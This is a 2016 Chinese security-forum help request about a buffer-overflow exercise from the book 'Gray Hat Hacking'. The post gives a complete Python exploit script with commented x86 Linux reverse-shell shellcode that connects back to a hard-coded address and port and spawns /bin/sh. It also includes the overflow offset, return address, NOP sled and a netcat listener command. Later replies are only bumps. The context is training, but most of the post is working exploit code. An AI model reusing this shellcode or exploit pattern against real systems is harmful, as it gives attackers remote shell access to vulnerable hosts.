首页
社区
课程
招聘
[求助]shellcode碰到的问题(反向连接)
发表于: 2016-8-2 21:23 6121

[求助]shellcode碰到的问题(反向连接)

2016-8-2 21:23
6121
《灰帽黑客(第4版)》,233页,10.4.5验证漏洞攻击,我的代码如下:

//[COLOR="Red"][B]A端 terminal_1[/B][/COLOR]
// exploit.py
#!/usr/bin/python
import socket

total = 1024
off = 264
[COLOR="Blue"][B]sc = ""
sc += "\x31\xc0"                   #xor    %eax,%eax
sc += "\x31\xdb"                   #xor    %ebx,%ebx
sc += "\x31\xd2"                   #xor    %edx,%edx
sc += "\x50"                       #push   %eax
sc += "\x6a\x01"                   #push   $0x1
sc += "\x6a\x02"                   #push   $0x2
sc += "\x89\xe1"                   #mov    %esp,%ecx
sc += "\xfe\xc3"                   #inc    %bl
sc += "\xb0\x66"                   #mov    $0x66,%al
sc += "\xcd\x80"                   #int    $0x80
sc += "\x89\xc6"                   #mov    %eax,%esi
sc += "\x52"                       #push   %edx
sc += "\x68\x65\x66\x67\x67"       #push   $0x67676665
sc += "\x66\x68\xbb\xbb"           #pushw  $0xbbbb
sc += "\x31\xc9"                   #xor    %ecx,%ecx
sc += "\xb1\x02"                   #mov    $0x2,%cl
sc += "\x66\x51"                   #push   %cx
sc += "\x89\xe1"                   #mov    %esp,%ecx
sc += "\x6a\x10"                   #push   $0x10
sc += "\x51"                       #push   %ecx
sc += "\x56"                       #push   %esi
sc += "\x89\xe1"                   #mov    %esp,%ecx
sc += "\xb3\x03"                   #mov    $0x3,%bl
sc += "\x31\xc0"                   #xor    %eax,%eax
sc += "\xb0\x66"                   #mov    $0x66,%al
sc += "\xcd\x80"                   #int    $0x80
sc += "\x89\xf3"                   #mov    %esi,%ebx
sc += "\x31\xc9"                   #xor    %ecx,%ecx
sc += "\x31\xc0"                   #xor    %eax,%eax
sc += "\xb0\x3f"                   #mov    $0x3f,%al
sc += "\xcd\x80"                   #int    $0x80
sc += "\x41"                       #inc    %ecx
sc += "\x31\xc0"                   #xor    %eax,%eax
sc += "\xb0\x3f"                   #mov    $0x3f,%al
sc += "\xcd\x80"                   #int    $0x80
sc += "\x41"                       #inc    %ecx
sc += "\x31\xc0"                   #xor    %eax,%eax
sc += "\xb0\x3f"                   #mov    $0x3f,%al
sc += "\xcd\x80"                   #int    $0x80
sc += "\x52"                       #push   %edx
sc += "\x68\x2f\x2f\x73\x68"       #push   $0x68732f2f
sc += "\x68\x2f\x62\x69\x6e"       #push   $0x6e69622f
sc += "\x89\xe3"                   #mov    %esp,%ebx
sc += "\x52"                       #push   %edx
sc += "\x53"                       #push   %ebx
sc += "\x89\xe1"                   #mov    %esp,%ecx
sc += "\x31\xc0"                   #xor    %eax,%eax
sc += "\xb0\x0b"                   #mov    $0xb,%al
sc += "\xcd\x80"                   #int    $0x80[/B][/COLOR]

noplen	= 32
jmp = "\x18\xf2\xff\xbf"

s = socket.socket()
s.connect(("localhost", 5555))
print s.recv(1024)
exploit = ""
exploit += "A"*off + jmp + "\x90"*noplen + sc
exploit += "C"*(total-off-4-len(sc)-noplen)

s.send(exploit)
s.close


//[COLOR="Red"][B]B端 terminal_1[/B][/COLOR]
> ./ch10_6


//[COLOR="Red"][B]B端 terminal_2[/B][/COLOR]
> ./nc -nlvv 48059


注:
1、A端为被攻击对象,上面存放 exploit.py,运行后会反向连接 B端的 terminal_1,
      即连接至 ch10_6 的 5555端口
2、exploit.py会利用缓冲区溢出漏洞跳转至 sc代码(蓝色部分),该代码会连接至 B端 terminal_2
      ,即 nc-nlvv 48059
3、最终,在B端 terminal_2 处获得shell,在该处的任何shell指令都可获得 A端 相应的信息

调试过程 1:
1、在B端打开2个terminal:
      B_terminal_1 > ./ch10_6
      B_terminal_2 > nc-nlvv 48059
2、在A端打开1个terminal
      A_terminal_1 > ./exploit.py
结果:
      无论在B端terminal_2里输入什么都没任何A端信息输出([COLOR="Red"][B]失败[/B][/COLOR])


调试过程 2:
1、在B端打开2个terminal:
      B_terminal_1 > gdb -q ch10_6
                               > [COLOR="Blue"][B]set follow-fork-mode child[/B][/COLOR]
                               > run

      B_terminal_2 > nc-nlvv 48059
2、在A端打开1个terminal
      A_terminal_1 > ./exploit.py
结果:
      B端terminal_2里输入任何shell指令都可获得相应的A端信息([COLOR="Red"][B]成功[/B][/COLOR])


可见,问题出在直接运行 ch10_6 上面。如何才能在不用gdb的情况下达到 “set follow-fork-mode child” 的效果?

补充:
1、exploit.py中的sc代码(蓝色部分),我并没有直接使用书10.4.5上面的代码,而是使用之前书上
第7章里的反向连接代码(有部分修改)。但是这不影响的。

2、附上 ch10_6 的程序如下:
ch10_6.zip

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
有知道的吗?
2016-8-3 10:31
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
..............................................................
2016-8-3 21:07
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
ding......................................
2016-8-4 18:56
0
游客
登录 | 注册 方可回帖
返回